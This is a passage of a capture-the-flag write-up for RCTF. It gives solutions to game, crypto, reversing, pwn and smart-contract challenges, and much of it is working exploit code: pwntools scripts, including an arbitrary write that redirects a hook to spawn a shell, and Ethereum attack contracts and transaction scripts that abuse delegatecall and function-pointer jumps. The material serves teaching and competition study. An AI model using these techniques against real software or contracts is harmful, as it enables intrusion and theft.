form the picture, you can see that Timing Attack is work
encrypt one time takes about 1.75s ,so you can get the m ! ( unfortunately, there are too many requests
get p,q
now we need to get p ,q
notice
so have two ways to get p,q
first way
We know that this encrypt way is periodicity
because the m is tiny, and p,q is certain, so you can recover the image by encrypting it over and over again
the code comes from a write up ,thanks a lot
second way
just to upload a one pic image with size 600×600
and you can get q,p by solving linear equations in two variables
at last
Thanks for Merricx’s great article again.
Hope you will participate in RCTF next year and have fun again!
Monopoly
This is a monopoly game, there are four types of Property: GO, LAND, FREE_PARKING, and CHANCE. The map has 64 properties. The player’s initial property is 600000.
The way to get the flag is to win in hard mode. By reversing the binary, you will find that the hard mode does not reset the map and the player’s position, and you can specify the seed of the srand function, which means you can control the generation of subsequent random numbers. You just need to double your money in Property which type is chance multiple times to win the game.
here is exp:
from pwn import *
#p = process("monopoly")
p = remote("xx.xx.xx.xx",20031)
chance_idx = [3,22,40,51]
name = "ruan"
def throw_dice(seed):
p.recvuntil("input your choice>>")
p.sendline("4")
p.recvuntil("input your choice>>")
p.sendline("3")
p.recvuntil("seed>>")
p.sendline(str(seed))
p.recvuntil("what's your name?")
p.sendline(name)
# chose hard level
p.recvuntil("input your choice>>")
p.sendline("3")
p.recvuntil("seed>>")
p.sendline("7655")
p.recvuntil("%s throw " % name)
p.recvuntil("%s throw " % name)
p.recvuntil("now location: ")
location = int(p.recvuntil(",",drop=True))
info("location : " + str(location))
throw_dice(6400)
throw_dice(0)
throw_dice(10006)
throw_dice(54)
throw_dice(7679)
p.interactive()
Crypto
These two challenges are rather similar. Both are given some RSA Ns which share a common factor p within an error term.
If these ps are exactly the same, one can simply use gcd to factor N and thus get the flag, which we usually called a common factor attack.
However these factors are different in a few bits, so we need to find another way to attack.
Uncommon Factors I
Notice that the size (2^22) is about the sqrt of count all possible primes in that range (2^48) according to the prime number theorem. We can safely assume that there exist two Ns which share a common factor.
So we only need to calculate the gcd of all possible pairs in order to find the number. However, the trivial algorithm is going to take 2^48 times gcd for the attack, which is not acceptable. Here we need to use a trick called gcd tree to calc all gcd pairs in O(k) instead of O(k^2). (See Usenix security 2012, Mining Your Ps and Qs)
# lN is the list of N
threads = 1
def g(i):
locallN = lN[i*len(lN)//threads: (i+1)*len(lN)//threads]
assert len(locallN) == size//threads
tree = [locallN]
level = 0
while len(tree[-1]) != 1:
if i == 0:
print(level)
level += 1
merge = [0]*(len(tree[-1])//2)
for j in range(len(tree[-1])//2):
merge[j] = tree[-1][2*j] * tree[-1][2*j+1]
tree.append(merge)
return tree
# Calc multiply tree
multree = g(0)
threads = 64
level = 0
while len(multree[-1-level]) < threads:
level += 1
def gcdd(i):
level = 0
while len(multree[-1-level]) < threads:
level += 1
ans = multree[-1][0]
gcdtree = [[ans % (multree[-1-level][i]**2)]]
while len(gcdtree[-1]) != size//threads:
if i == 0:
print(level)
level += 1
expand = [0]*(len(gcdtree[-1])*2)
localmultree = multree[-1-level]
localmultree = localmultree[i*len(localmultree)//threads:(i+1)*len(localmultree)//threads]
for j in range(len(expand)):
expand[j] = gcdtree[-1][j//2] % (localmultree[j]**2)
gcdtree.append(expand)
for j in range(len(gcdtree[-1])):
r = gcdtree[-1][j]
Nj = lN[i*len(lN)//threads + j]
if gcd(r/Nj, Nj) != 1:
print(gcd(r/Nj, Nj))
# Calc gcd tree using multree
pool = Pool(processes=threads)
result = pool.map(gcdd,range(threads))
pool.close()
pool.join()
Uncommon Factors II
This time the case is much smaller, and we can call this problem “Factor RSA with Implicit Hint”. There are many ways to solve it using LLL. And here is the code:
lN = []
with open("lN.bin","rb") as f:
n = f.read(512//8)
while n:
lN.append(int.from_bytes(n,"big"))
n = f.read(512//8)
size = 128
bits = 104
M = Matrix(ZZ, size,size)
for i in range(1,size):
M[i,i] = -lN[0]
M[0,i] = lN[i]
M[0,0] = 2^bits
L=M.LLL()
factor = 0
for i in range(size):
if gcd(L[i][0], lN[0]) != 1 and gcd(L[i][0], lN[0]) != lN[0]:
factor = gcd(L[i][0], lN[0])
Recv
dht
Each byte of result only depends on 3 chars in the flag so it’s possible to brute-force. But the order depends on the execution time of each thread, so you should sort your triplets by searching and pruning, with the hash of flag provided for verification. The solve script is below:
from hashlib import blake2b
from itertools import product
#import tqdm
tab = list(map(ord,'0123456789abcdef'))
def once(ch0,ch1,ch2):
cur = [0]*64
for i in range(tab.index(ch1)+1):
for j in range(32,64):
cur[j] = ch2
for j in range(10000):
cur = list(blake2b(bytes(cur)).digest())
for j in range(tab.index(ch0)+1):
cur = list(blake2b(bytes(cur)).digest())
return cur[0]
'''
m = []
for i in range(256):
m.append([])
for ch0,ch1,ch2 in tqdm.tqdm(product(tab, repeat=3)):
res = once(ch0,ch1,ch2)
m[res].append((ch0,ch1,ch2))
with open('mm','w') as f:
f.write(repr(m))
exit()
'''
import ast
with open('mm') as f:
m = ast.literal_eval(f.read())
'''
tt = []
tar = 'c64459bb76582a53'
#aa = []
for i in range(len(tar)):
i1 = (i+1)%len(tar)
i2 = (i+2)%len(tar)
cnt = (tab.index(ord(tar[i1]))+1)*100000+tab.index(ord(tar[i]))+1
tt.append((cnt,once(ord(tar[i]),ord(tar[i1]), ord(tar[i2]))))
#aa.append((ord(tar[i]),ord(tar[i1]),ord(tar[i2])))
tt.sort(key=lambda x:x[0])
print(tt)
#print(aa)
'''
h = bytes.fromhex('89ce250390150407e1c3e377cc227b6d971588ddc613d0bde59845b0ccacbb0691c86348a5005736aa07e60def9f843570216a004e8ed764488bb0aa7632d67c')
dh = [110, 96, 118, 141, 127, 149, 145, 110, 150, 146, 194, 207, 197, 197, 235, 25]
prob = [None]*16
def search(idx, cnt, lastinc):
if idx>=16:
#print(prob)
ans = []
ans.extend(prob[0])
used = [False]*16
used[0] = True
for i in range(15):
for j in range(16):
if not used[j] and ans[-2]==prob[j][0] and ans[-1]==prob[j][1]:
ans.append(prob[j][2])
used[j] = True
break
if len(ans)!=i+4:
break
if len(ans)==18 and ans[0]==ans[16] and ans[1]==ans[17]:
for i in range(16):
tmp = bytes(ans[i:16]+ans[:i])
if blake2b(tmp).digest() == h:
print('find',tmp)
exit()
return
for one in m[dh[idx]]:
if one[1] >= cnt:
prob[idx] = one[:]
if one[1] == cnt:
if idx-lastinc<4:
search(idx+1, one[1], lastinc)
else:
search(idx+1, one[1], idx)
search(0,0,0)
Harmony
The purpose of this topic is to familiarise yourself with the Open HarmonyOS operating system environment, the RISC-V environment based on the OpenHarmony Hi3861V100 development board, and the Mus-LiBC environment commonly used in IoT environments.
The key encryption logic can be found through GDB debugging, or by IDA mounting RISC-V 32Bit plug-in. Here, the main recommendation is to use NSA open source reverse tool Ghidra, which can directly parse RISC-V binary files. It is not difficult to find the key encryption logic is simple Caesar encryption. We got the plaintext “HARMONYDREAMITPOSSIBLE” before, and it is not difficult to get the ciphertext “KDUPRQBGUHDPLWSRVVLEOH”, so the final flag is: RCTF{KDUPRQBGUHDPLWSRVVLEOH}
Valgrind
The main purpose of this competition is to introduce an intermediate language which is different from LLVM IR. Vex-ir is an intermediate language. Valgrind peg framework tool is used. Its design idea is similar to LLVM and QEMU. In order to simulate the execution of the compiled program of a certain architecture, the object code is converted into IR intermediate language, and then IR is translated into the machine language that can be executed by the local architecture to realize the cross-architecture simulation execution. Mostly used for binary analysis without source code. When analyzing binaries, such as doing things like staking, you lose the abstractions of high-level languages and have to deal with the lower-level parts, namely CPU, registers, virtual memory, and so on.
LLVM and QEMU are not security analysis platforms per se, but because they are so complete and powerful, there is a lot of improvement work based on them to do program security analysis. Valgrind, on the other hand, is a relatively mature and popular piling framework developed for safety.
In view of the difficulty of locating this problem, the relatively simple Caesar password is selected. Firstly, the encryption program of Caesar password written in C language is used, and GCC is used to compile it.
#include<stdio.h>
#include<string.h>
using namespace std;
int main() {
char flag[] = "t1me_y0u_enj0y_wa5t1ng_wa5_not_wa5ted";
int k = 3;
char l[26]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
for(int i=0;i<37;i++) {
if((flag[i]+k)<='Z')
{flag[i] = flag[i] + k;}
else
{
int j = (flag[i]+k-'Z') % 26;
flag[i] = l[j-1];
}
}
return 0;
}
Through analysis, it can be known that this is the VEX-IR intermediate code. Through reading the VEX-IR intermediate code, it can be known that this is the encryption process of a Caesar password, and K is 3, and the plaintext is: Caesar encryption t1me_y0u_enj0y_wa5t1ng_wa5_not_wa5ted and will clear and can get the flag: C4VNHH3DHNWS3HHFJ8C4WPHFJ8HWXCHFJ8CNM
LoongArch
There was an error in the earliest attachment and I didn’t notice it until several hours after the challenge was released, which might cause you to have a very bad experience in doing it. Here, I would like to apologize to you.
The title is loongarch. Search for loongarch and it’s easy to know the loongarch instruction set. Just refer to the official document to reverse the code logic.
Syscall is used to output the contents of the stack, that is, 64 bytes in the output file.
exp
def qword2bit(a):
re = []
for i in range(64):
re.append(a%2)
a >>= 1
return re[::-1]
def bit2qword(a):
re = ""
for i in a:
re += str(i)
return int(re,2)
def bitrev_8b(a):
re = []
for i in range(0,64,8):
re += a[i:i+8][::-1]
return re
def bytepick_d(a,b,n):
return b[8*(n):64]+a[0:8*(n)]
def bitrev_d(a):
return a[::-1]
xor1 = [0x8205f3d105b3059d,0xa89aceb3093349f3,0xd53db5adbcabb984,0x39cea0bfd9d2c2d4]
xor2 = [0xc513455508290500,0x6d621abb30b918,0xbc555b9f4c6f86a1,0x50d78ad181a626d]
a = [i^0xffffffffffffffff for i in xor2]
b = [qword2bit(i) for i in a]
c = [bitrev_8b(i) for i in b]
d = [bytepick_d(c[2],c[1],5),
bytepick_d(c[0],c[2],5),
bytepick_d(c[3],c[0],5),
bytepick_d(c[1],c[3],5)]
e = [bitrev_d(i) for i in d]
f = [bit2qword(i) for i in e]
g = [f[i]^xor1[i] for i in range(4)]
for i in g:
for j in range(8):
print(chr(i&0xff),end='')
i >>= 8
print()
sakuretsu
The binary is compiled by swiftc, you can find some strings in the binary like re/re.swift
as a clue.
To start with, you can use swiftc to compile a helloworld binary and compare it with the provided one to understanding the structure of a swift binary.
In the main function, we can see 49 calls in the format of sub_410B90(v0, &unk_25650A8)
, then sub_412170 is called and the arguments look like a 7*7 matrix.
Each of these calls will create an object, and 4 binary bits will be set for them. For example, 1100 for object[0, 0] and 0010 for object[0, 1].
v5 = sub_447570(4LL, &unk_25650A8);
*v6 = 1;
v6[1] = 1;
v6[2] = 0;
v6[3] = 0;
v7 = sub_410B90(v5, &unk_25650A8);
qword_259F370 = sub_412170(0LL, 0LL, v7, 0LL);
v8 = sub_447570(4LL, &unk_25650A8);
*v9 = 0;
v9[1] = 0;
v9[2] = 1;
v9[3] = 0;
v10 = sub_410B90(v8, &unk_25650A8);
qword_259F378 = sub_412170(0LL, 1LL, v10, 0LL);
v11 = sub_447570(4LL, &unk_25650A8);
*v12 = 1;
v12[1] = 0;
v12[2] = 0;
v12[3] = 0;
v13 = sub_410B90(v11, &unk_25650A8);
qword_259F380 = sub_412170(0LL, 2LL, v13, 0LL);
v14 = sub_447570(4LL, &unk_25650A8);
*v15 = 0;
v15[1] = 1;
v15[2] = 1;
v15[3] = 1;
After that, argv[1] is checked that length is 49 and every char is in “0123”. Each char will also be associated with each of the 49 objects created before.
Parsing this check, there is another check:
if ( (v776 & 1) != 0 ) // first check passed
{
sub_6F3A90(&qword_259F500, v754, 32LL, 0LL);
v544 = qword_259F500;
v543 = sub_6F4B80(qword_259F500);
sub_6F3D10(v754);
v218 = v544;
v542 = (*(__int64 (**)(void))(*(_QWORD *)v544 + 136LL))(); // second check
sub_6F4870();
v541 = v542;
}
else
{
v541 = 0;
}
if ( (v541 & 1) != 0 ) // second check passed
{
v540 = v589;
By debugging the program, (v544 + 136) finally calls sub_413150 to do some BFS from object[3, 3] and check if all of the objects are visited.
The 4 binary bits are assigned before representing the connectivity of four directions, and our input (0/1/2/3) represents the rotation of each object(counter clockwise 0, 90, 180, and 270 degrees). So this is basically a puzzle named pipe. You can solve this puzzle manually as it’s not that hard (compared with reversing the binary :P):
The only problem is that the pipes with the shape of | or – will be identical after rotating 180 degrees.
So the binary will finally check the unique solution by sha256 the input string and the hash bytes whose value is odd will be filtered, divided by 2, and encoded into base13 (encoding table is “huimielongyin”).
The encoded result should be y-ni-ou-gl-nu-mn-ii-em-ii-ge-iu-y
(the string is obfuscated, but you can check the param of sub_404F30 to get each char).
You can enumerate all the possible solutions to match this hash result(or just repeat running the binary with solutions and ignore how the program checks the unique solution)
The flag is RCTF{3330103311331013023313123131201201323021202330110}
two_shortest
This binary is trying to solve SGU 185, but during reading input data you are supposed to give an index of a two-dimension array while there is no range check at all. No PIE for free pascal so we only need to find some global pointer for hook functions and useful gadgets(it becomes much easier with a fpSystem command inside src code). The solve script is below:
from pwn import *
context.log_level='debug'
c = process("./185")
#pause()
www = [(0x4e96c0, 0x6e69622f), (0x4e96c4, 0x68732f), (0x4e8b08, 0x4282f7)]
ww = []
for addr, val in www:
off = (addr-0x437800)//4
x = off//400+1
y = off%400+1
assert y>1
ww.append((x,y,val))
m = len(www)
c.sendline('0 {}'.format(0x4d3c00))
for i in range(m):
c.sendline("{} {} {}".format(*ww[i]))
c.interactive()
BlockChain
EasyFJump
Source
pragma solidity ^0.4.23;
contract EasyFJump {
uint private Variable_a;
uint private Variable_b;
uint private Variable_m;
uint private Variable_s;
event ForFlag(address addr);
struct Func {
function() internal f;
}
constructor() public payable {
Variable_s = 693784268739743906201;
}
function Set(uint tmp_a, uint tmp_b, uint tmp_m) public {
Variable_a = tmp_a;
Variable_b = tmp_b;
Variable_m = tmp_m;
}
function Output() private returns(uint) {
Variable_s = (Variable_s * Variable_a + Variable_b) % Variable_m;
return Variable_s;
}
function GetFlag() public payable {
require(Output() == 2344158256393068019755829);
require(Output() == 3260253069509692480800725);
require(Output() == 2504603638892536865405480);
require(Output() == 1887687973911110649647086);
Func memory func;
func.f = payforflag;
uint offset = (Variable_a - Variable_b - Variable_m) & 0xffff;
assembly {
mstore(func, sub(add(mload(func), callvalue), offset))
}
func.f();
}
function payforflag() public {
require(keccak256(abi.encode(msg.sender))==0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
emit ForFlag(msg.sender);
}
}
Analyse
- just an easy reverse ,the point is LCG + Fuction arbitrary jump
- detailed code can refer to the above code
- a b m can get by the following script
import binascii
import sha3
def gcd(a, b):
if a < b:
a, b = b, a
while b != 0:
temp = a % b
a = b
b = temp
return a
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, x, y = egcd(b % a, a)
return (g, y - (b // a) * x, x)
def modinv(b, n):
g, x, _ = egcd(b, n)
if g == 1:
return x % n
def crack_unknown_increment(states, modulus, multiplier):
increment = (states[1] - states[0]*multiplier) % modulus
return multiplier, increment, modulus
def crack_unknown_multiplier(states, modulus):
multiplier = (states[2] - states[1]) * modinv(states[1] - states[0], modulus) % modulus
return crack_unknown_increment(states, modulus, multiplier)
def crack_unknown_modulus(states):
diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
modulus = abs(reduce(gcd, zeroes))
return crack_unknown_multiplier(states, modulus)
a,b,m = crack_unknown_modulus([693784268739743906201, 2344158256393068019755829, 3260253069509692480800725, 2504603638892536865405480, 1887687973911110649647086])
print a,b,m
# 646720210675464912574453 35892019806987399999439 4057573962964310638058831
- (a-b-m)&0xffff=0x0ad7 need satisfy 0xd8+callvalue-0xad7=0x1ba
- so callvalue=3001 wei,call GetFlag()
HackChain
Source
pragma solidity ^0.4.23;
contract HackChain {
constructor() public payable {}
bytes4 internal constant SET = bytes4(keccak256('getflag(uint256)'));
event ForFlag(address addr);
event Fail(address addr);
struct Func {
function() internal f;
}
function execute(address _target) public {
require(uint(_target) & 0xfff == address(this).balance);
require(_target.delegatecall(abi.encodeWithSelector(this.execute.selector)) == false);
bytes4 sel;
uint val;
(sel, val) = getRet();
require(sel == SET);
Func memory func;
func.f = payforflag;
assembly {
// 0x02e4+val-balance=0x03c6
mstore(func, sub(add(mload(func), val), balance(address)))
}
func.f();
}
function getRet() internal pure returns (bytes4 sel, uint val) {
assembly {
if iszero(eq(returndatasize, 0x24)) { revert(0, 0) }
let ptr := mload(0x40)
returndatacopy(ptr, 0, 0x24)
sel := and(mload(ptr), 0xffffffff00000000000000000000000000000000000000000000000000000000)
val := mload(add(0x04, ptr))
}
}
// 0x02E4
function payforflag() public {
require(keccak256(abi.encode(msg.sender))==0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
//0x03c6
if(address(this).balance>1000){
emit ForFlag(msg.sender);
}else{
emit Fail(msg.sender);
}
}
}
Analyse
- just an easy reverse,the point is delegatecall safety call + func arbitrary jump
- The premise is needed hack chain,know the balance in advance
- detailed code can refer to the above code
Exp
- send the following JSON post request,get the balance in advance
{
"jsonrpc": "2.0",
"method": "eth_blockNumber",
"methoD": "eth_getBalance",
"params": [
"0x16a73a352f807764db6a5e040b642f2963a19170",
"latest"
],
"id": 1
}
- In my example,balance=0x5ea
- Attack contract address need to satisfy address&0xfff==balance,so address lowest 12 bit is 0x5ea,use the following script to call generate_eoa2 to generate
from ethereum import utils
import os, sys
# generate EOA with appendix 5ea
def generate_eoa1():
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))
while not addr.lower().endswith("5ea"):
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))
print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))
# generate EOA with the ability to deploy contract with appendix 5ea
def generate_eoa2():
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))
while not utils.decode_addr(utils.mk_contract_address(addr, 0)).endswith("5ea"):
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))
print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))
if __name__ == "__main__":
if sys.argv[1] == "1":
generate_eoa1()
elif sys.argv[1] == "2":
generate_eoa2()
else:
print("Please enter valid argument")
- 0x02e4+val-balance=0x03E8,according to the logical relationship to get val = 0x03c6+0x5ea-0x2e4 = 0x6cc
- replace the following private0 and public0 with EOA account get from the above account,and execute the following exp
from web3 import Web3, HTTPProvider
import time
w3 = Web3(Web3.HTTPProvider("http://127.0.0.1:8545"))
contract_address = "0x16a73a352f807764db6a5e040b642f2963A19170"
private0 = "afb7037dd17037f9a1426cd04d21a1cec5ef43f8723642abd629981472ae6c85"
public0 = "0xab813636aC44021d5653aC3A5F6367bA51992D6c"
def do_callme(public, private, _to, _data, _value):
txn = {
'chainId': 8888,
'from': Web3.toChecksumAddress(public),
'to': _to,
'gasPrice': w3.eth.gasPrice,
'gas': 3000000,
'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
'value': Web3.toWei(_value, 'ether'),
'data': _data,
}
signed_txn = w3.eth.account.signTransaction(txn, private)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
print("txn_hash=", txn_hash)
return txn_receipt
"""
contract hack {
bytes4 internal constant SEL = bytes4(keccak256('getflag(uint256)'));
function execute(address) public pure {
bytes4 sel = SEL;
assembly {
mstore(0,sel)
mstore(0x4,0x6cc)
revert(0,0x24)
}
}
}
"""
data0 = '608060405234801561001057600080fd5b5060fa8061001f6000396000f300608060405260043610603f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680634b64e492146044575b600080fd5b348015604f57600080fd5b506082600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506084565b005b600060405180807f676574666c61672875696e743235362900000000000000000000000000000000815250601001905060405180910390209050806000526106cc60045260246000fd00a165627a7a72305820a45eb958070353941dcb0c95d75404136be68e1d2b8e162ab8faa2410ec9a9c50029'
x = do_callme(public0, private0, '', data0, 0)
print(x)
time.sleep(1)
data1 = '0x4b64e492'+x['contractAddress'][2:].rjust(64,'0')
print(data1)
print(do_callme(public0, private0, contract_address, data1, 0))